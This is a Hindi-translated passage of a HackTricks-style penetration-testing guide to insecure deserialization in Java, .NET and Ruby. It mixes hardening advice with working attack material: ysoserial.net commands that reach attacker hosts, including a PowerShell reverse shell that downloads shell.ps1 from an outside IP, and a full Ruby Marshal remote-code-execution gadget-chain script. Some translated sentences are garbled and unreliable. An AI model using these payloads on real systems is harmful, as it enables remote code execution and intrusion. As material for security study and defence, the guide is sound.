private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

डिसीरियलाइज़ करने से पहले डिसीरियलाइज़ क्लास की जांच करें

java.io.ObjectInputStream क्लास का उपयोग ऑब्जेक्ट्स को डिसीरियलाइज़ करने के लिए किया जाता है। इसे सख्त बनाने के लिए इसका सबक्लास बनाना संभव है। यह सबसे अच्छा समाधान है अगर:

  • आप डिसीरियलाइज़ करने वाले कोड को बदल सकते हैं
  • आप जानते हैं कि आप किस क्लास को डिसीरियलाइज़ करना चाहते हैं

सामान्य विचार यह है कि ObjectInputStream.html#resolveClass() को ओवरराइड करें ताकि केवल वे क्लासेस डिसीरियलाइज़ करने के लिए अनुमति दी जा सके जिन्हें आप चाहते हैं।

इस कॉल के पहले होता है, इसलिए आप यकीनी रूप से जान सकते हैं कि कोई डिसीरियलाइज़ कार्यक्रम नहीं होगा जब तक यह टाइप वही हो जिसे आप अनुमति देना चाहते हैं।

यहां एक सरल उदाहरण दिखाया गया है, जहां LookAheadObjectInputStream क्लास को गारंटी है कि वह Bicycle क्लास के अलावा कोई अन्य टाइप डिसीरियलाइज़ नहीं करेगा:

public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

एक एजेंट के साथ सभी java.io.ObjectInputStream उपयोग को हार्डन करें

यदि आपके पास कोड नहीं है या पैच का इंतजार नहीं कर सकते हैं, तो java.io.ObjectInputStream में हार्डनिंग को वोवेव करने के लिए एक एजेंट का उपयोग करना सबसे अच्छा समाधान है। इस तरीके का उपयोग करके आप केवल ज्ञात खतरनाक प्रकारों को ब्लैकलिस्ट कर सकते हैं और उन्हें व्हाइटलिस्ट नहीं कर सकते हैं क्योंकि आपको नहीं पता होता कि कौन से ऑब्जेक्ट सीरियलाइज हो रहे हैं।

इन एजेंट्स को सक्षम करने के लिए, बस एक नया JVM पैरामीटर जोड़ें:

-javaagent:name-of-agent.jar

उदाहरण: rO0 by Contrast Security

संदर्भ

JNDI Injection और log4Shell

जानें कि JNDI Injection क्या है, इसे RMI, CORBA और LDAP के माध्यम से कैसे दुरुपयोग किया जाता है और log4shell को कैसे शोषित किया जाता है (और इस दुरुपयोग का उदाहरण) निम्नलिखित पृष्ठ पर:

{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} jndi-java-naming-and-directory-interface-and-log4shell.md {% endcontent-ref %}

JMS - जावा संदेश सेवा

जावा संदेश सेवा (JMS) एपीआई दो या अधिक क्लाइंटों के बीच संदेश भेजने के लिए एक जावा संदेश-अभिन्यासी मध्यवर्ती एपीआई है। यह उत्पादक-उपभोक्ता समस्या को हैंडल करने के लिए एक कार्यान्वयन है। JMS जावा प्लेटफॉर्म, एंटरप्राइज़ एडिशन (जावा ईई) का हिस्सा है और यह सूर्य माइक्रोसिस्टम्स द्वारा विकसित एक विनिर्देशित विनिर्माण द्वारा परिभाषित किया गया था, लेकिन जिसे बाद में जावा समुदाय प्रक्रिया ने मार्गदर्शन किया है। यह एक संदेश मानक है जो जावा ई पर आधारित अनुप्रयोग घटकों को संदेश बनाने, भेजने, प्राप्त करने और पढ़ने की अनुमति देता है। इसकी सहायता से वितरित एक अनुप्रयोग के विभिन्न घटकों के बीच संचार को ढीला, विश्वसनीय और असिंक्रोनस बनाने की अनुमति होती है। (विकिपीडिया से)।

उत्पाद

संदेश भेजने के लिए इस मध्यवर्ती का उपयोग करने वाले कई उत्पाद हैं:

शोषण

इसलिए, मूल रूप से एक समूह सेवाओं का उपयोग JMS का कर रहे हैं। इसलिए, यदि आपके पास इन सेवाओं को संदेश भेजने के लिए पर्याप्त अधिकार हैं (आमतौर पर आपको मान्य प्रमाणिकरण की आवश्यकता होगी) तो आप दुरुपयोग करने के लिए बनाए गए दुष्प्रभावी ऑब्जेक्ट्स को सीरीयलाइज़ कर सकते हैं जो कि उपभोक्ता/सदस्य द्वारा डेसीरियलाइज़ किए जाएंगे। इसका मतलब है कि इस शोषण में सभी उन क्लाइंट्स को जो संदेश का उपयोग करेंगे, संक्रमित हो जाएंगे

आपको याद रखना चाहिए कि यदि एक सेवा संक्रमित होती है (क्योंकि यह उपयोगकर्ता इनपुट को असुरक्षित ढंग से डेसीरियलाइज़ कर रही है) तो आपको फिर भी मान्य गैजेट्स को खोजने की आवश्यकता होगी दुरुपयोग को शोषित करने के लिए।

उपयोग किए जाने वाले गैजेट

फिंगरप्रिंट

WhiteBox

निम्नलिखित शब्दों के लिए स्रोत कोड खोजें:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

उपयोगकर्ता नियंत्रित चर के द्वारा सेट किए जाने वाले किसी भी सीरियलाइज़र की खोज करें।

BlackBox

आप बेस64 कोडित स्ट्रिंग AAEAAAD///// या किसी अन्य चीज की खोज कर सकते हैं जो पीछे की ओर से डिसीरियलाइज़ किया जा सकता है और जिसमें आपको डिसीरियलाइज़ करने वाले प्रकार को नियंत्रित करने की अनुमति होती है। उदाहरण के लिए, एक JSON या XML में TypeObject या $type हो सकता है।

ysoserial.net

इस मामले में आप उपकरण ysoserial.net का उपयोग कर सकते हैं ताकि आप डिसीरियलाइज़ के उपयोग से उत्पन्न दुरुपयोग बना सकें। जब आपने git रिपॉजिटरी डाउनलोड कर ली हो तो आपको उपकरण को कंपाइल करना होगा, उदाहरण के लिए Visual Studio का उपयोग करके।

यदि आप जानना चाहते हैं कि ysoserial.net दुरुपयोग कैसे बनाता है, तो आप इस पृष्ठ की जांच कर सकते हैं जहां ObjectDataProvider गैजेट + ExpandedWrapper + Json.Net फॉर्मेटर का विवरण दिया गया है.

ysoserial.net के मुख्य विकल्प हैं: --gadget, --formatter, **--output ** और --plugin.

  • --gadget इस्तेमाल किया जाता है ताकि दुरुपयोग करने के लिए गैजेट को दुरुपयोग किया जाए (डिसीरियलाइज़ करने के दौरान कमांड निष्पादित करने के लिए क्लास/फ़ंक्शन को दर्ज करें)।
  • --formatter, इस्तेमाल किया जाता है ताकि दुरुपयोग को सीरियलाइज़ करने के लिए विधि को दर्ज किया जाए (आपको जानना होगा कि पीछे का उपयोग करने वाला लाइब्रेरी कौन सा है जिसे पेलोड को डिसीरियलाइज़ करने के लिए उपयोग किया जाता है और उसी का उपयोग करें)
  • **--output ** इस्तेमाल किया जाता है ताकि आप दुरुपयोग को सीधा या बेस64 कोडित प्रारूप में प्राप्त कर सकें। ध्यान दें कि ysoserial.net पेलोड को UTF-16LE का उपयोग करके कोडित करेगा (विंडोज पर डिफ़ॉल्ट रूप से उपयोग की जाने वाली कोडिंग) इसलिए यदि आप रॉ डेटा प्राप्त करते हैं और उसे लिनक्स कंसोल से कोडित करते हैं तो आपको कुछ कोडिंग संगतता समस्याएं हो सकती हैं जो दुरुपयोग को सही ढंग से काम करने से रोकेंगी (HTB JSON बॉक्स में पेलोड UTF-16LE और ASCII दोनों में काम कर गया था लेकिन यह यह नहीं मतलब है कि यह हमेशा काम करेगा)।
  • **--plugin ** ysoserial.net विशेष फ्रेमवर्क के लिए दुरुपयोग बनाने के लिए प्लगइन्स का समर्थन करता है, जैसे ViewState

अधिक ysoserial.net पैरामीटर

  • --minify एक छोटा पेलोड प्रदान करेगा (यदि संभव हो)
  • --raf -f Json.Net -c "anything" इससे उपयोग किए जाने वाले सभी गैजेट्स को दर्ज करेगा जो एक दिए गए फॉर्मेटर (Json.Net इस मामले में) के साथ उपयोग किए जा सकते हैं
  • --sf xml आप एक गैजेट (-g) की घोषणा कर सकते हैं और ysoserial.net वे फॉर्मेटर खोजेगा जिनमें "xml" शब्द होता है (अवधिकारी नहीं होता है)

ysoserial उदाहरण दुरुपयोग बनाने के लिए:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net में एक बहुत दिलचस्प पैरामीटर भी है जो हर एक एक्सप्लॉइट के काम करने को बेहतर समझने में मदद करता है: --test
यदि आप इस पैरामीटर को निर्दिष्ट करते हैं, तो ysoserial.net लोकली एक्सप्लॉइट की कोशिश करेगा, इसलिए आप यह जांच सकते हैं कि आपका पेलोड सही ढंग से काम करेगा या नहीं।
यह पैरामीटर मददगार है क्योंकि यदि आप कोड की समीक्षा करते हैं, तो आप निम्नलिखित तरह के कोड टुकड़ों को पाएंगे (यहां से: ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

इसका मतलब है कि एक्सप्लॉइट की परीक्षण के लिए कोड serializersHelper.JsonNet_deserialize को कॉल करेगा।

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

पिछले कोड में उत्पन्न खोज के प्रति असुरक्षित है। इसलिए अगर आपको किसी .Net एप्लिकेशन में कुछ ऐसा मिलता है तो यह इसका मतलब है कि शायद वह एप्लिकेशन भी संकटग्रस्त है।
इसलिए --test पैरामीटर हमें समझने में मदद करता है कि डेसीरियलाइज़ेशन खोज के लिए कौन से कोड टुकड़े संकटग्रस्त हैं, जिन्हें ysoserial.net बना सकता है।

ViewState

इस पोस्ट को देखें जो .Net के __ViewState पैरामीटर को उत्पन्न करने का प्रयास कैसे करें जिससे अनियमित कोड को निष्पादित करें। यदि आप पहले से ही पीड़ित मशीन द्वारा उपयोग किए जाने वाले रहस्यों को जानते हैं, तो इस पोस्ट को पढ़ें जिससे कोड को निष्पादित करने के बारे में जानें

रोकथाम

डेटास्ट्रीम को निर्धारित करने दें कि स्ट्रीम को किस प्रकार के ऑब्जेक्ट के लिए डेसीरियलाइज़ किया जाएगा। आप इसे रोक सकते हैं उदाहरण के लिए DataContractSerializer या XmlSerializer का उपयोग करके।

जहां JSON.Net का उपयोग हो रहा हो, सुनिश्चित करें कि TypeNameHandling केवल None पर सेट किया जाए।

TypeNameHandling = TypeNameHandling.None

यदि JavaScriptSerializer का उपयोग किया जाना हो तो उसे JavaScriptTypeResolver के साथ न उपयोग करें।

यदि आपको डेटा स्ट्रीम को डिसीरियलाइज़ करना हो जो अपने खुद के टाइप को परिभाषित करती है, तो उन टाइप को सीमित करें जो डिसीरियलाइज़ किए जा सकते हैं। इसे अभिवेदन करना चाहिए कि यह फिर भी जोखिमपूर्ण है क्योंकि कई मूल .Net टाइप स्वतः में संभवतः खतरनाक हो सकते हैं। उदा.

System.IO.FileInfo

FileInfo ऑब्जेक्ट जो सर्वर पर वास्तविक रूप से संदर्भित फ़ाइलों को संदर्भित करते हैं, जब डीसीरियलाइज़ किए जाते हैं, तो उन फ़ाइलों की गुणवत्ता को बदल सकते हैं, जैसे कि केवल पढ़ने योग्य, जो एक संकटात्मक विरोध हो सकता है।

यदि आपने सीमित किए हैं कि कौन से प्रकार डीसीरियलाइज़ किए जा सकते हैं, तो भी ध्यान दें कि कुछ प्रकारों में रिस्की गुणवत्ताएं हो सकती हैं। उदाहरण के लिए, System.ComponentModel.DataAnnotations.ValidationException में Value नामक एक Object प्रकार की प्रॉपर्टी होती है। यदि इस प्रकार को डीसीरियलाइज़ करने के लिए अनुमति है तो हमलावर Value प्रॉपर्टी को किसी भी वस्तु प्रकार पर सेट कर सकते हैं जो उनकी पसंद हो।

हमलावरों को निर्माण किए जाने वाले प्रकार को निर्देशित करने से रोका जाना चाहिए। यदि यह संभव है तो DataContractSerializer या XmlSerializer भी अवरुद्ध किए जा सकते हैं। उदाहरण के लिए,

// Action below is dangerous if the attacker can change the data in the database
var typename = GetTransactionTypeFromDatabase();

var serializer = new DataContractJsonSerializer(Type.GetType(typename));

var obj = serializer.ReadObject(ms);

डेसीरियलाइज़ेशन के दौरान कुछ .Net प्रकारों में क्रियान्वयन हो सकता है। नीचे दिखाए गए तरह का नियंत्रण बनाना अप्रभावी है।

var suspectObject = myBinaryFormatter.Deserialize(untrustedData);

//Check below is too late! Execution may have already occurred.
if (suspectObject is SomeDangerousObjectType)
{
//generate warnings and dispose of suspectObject
}

BinaryFormatter और JSON.Net के लिए एक सुरक्षित व्हाइटलिस्ट नियंत्रण का निर्माण करने के लिए एक कस्टम SerializationBinder का उपयोग करके एक सुरक्षित रूप बनाना संभव है।

ज्ञात .Net असुरक्षित डिसीरियलाइज़ेशन गैजेट्स पर अद्यतित रहने का प्रयास करें और खास ध्यान दें जहां ऐसे प्रकार के टाइप आपके डिसीरियलाइज़ेशन प्रक्रियाओं द्वारा बनाए जा सकते हैं। एक डिसीरियलाइज़र केवल उन टाइप्स को निर्माण कर सकता है जिनके बारे में उसे पता होता है

किसी भी कोड को अलग रखने का प्रयास करें जो संभावित गैजेट्स को बना सकता है और जिसमें इंटरनेट कनेक्टिविटी हो सकती है। उदाहरण के रूप में, WPF एप्लिकेशन में उपयोग किए जाने वाले System.Windows.Data.ObjectDataProvider एक ज्ञात गैजेट है जो विचारहीन डेटा को डिसीरियलाइज़ करने वाले एक REST सेवा परियोजना में इस एसेंबली का संदर्भ रखना जोखिमपूर्ण होगा।

संदर्भ

रूबी

रूबी में सीरीयलाइज़ेशन को लागू करने के लिए मार्शल पुस्तकालय के अंदर दो तरीके हैं: पहली तकनीक है डंप जो ऑब्जेक्ट को बाइट स्ट्रीम में परिवर्तित करता है (सीरीयलाइज़ करता है)। और दूसरी तकनीक है लोड जो बाइट स्ट्रीम को फिर से ऑब्जेक्ट में परिवर्तित करता है (डिसीरियलाइज़ करता है)।
रूबी HMAC का उपयोग करता है ताकि सीरीयलाइज़ किए गए ऑब्जेक्ट को साइन करें और कुंजी को निम्नलिखित फ़ाइलों में सहेजें:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

रूबी 2.X जेनेरिक डिसीरियलाइज़ेशन से RCE गैजेट चेन (अधिक जानकारी के लिए https://www.elttam.com/blog/ruby-deserialization/)।

#!/usr/bin/env ruby

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Ruby On Rails को अनुशासित करने के लिए अन्य RCE चेन: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥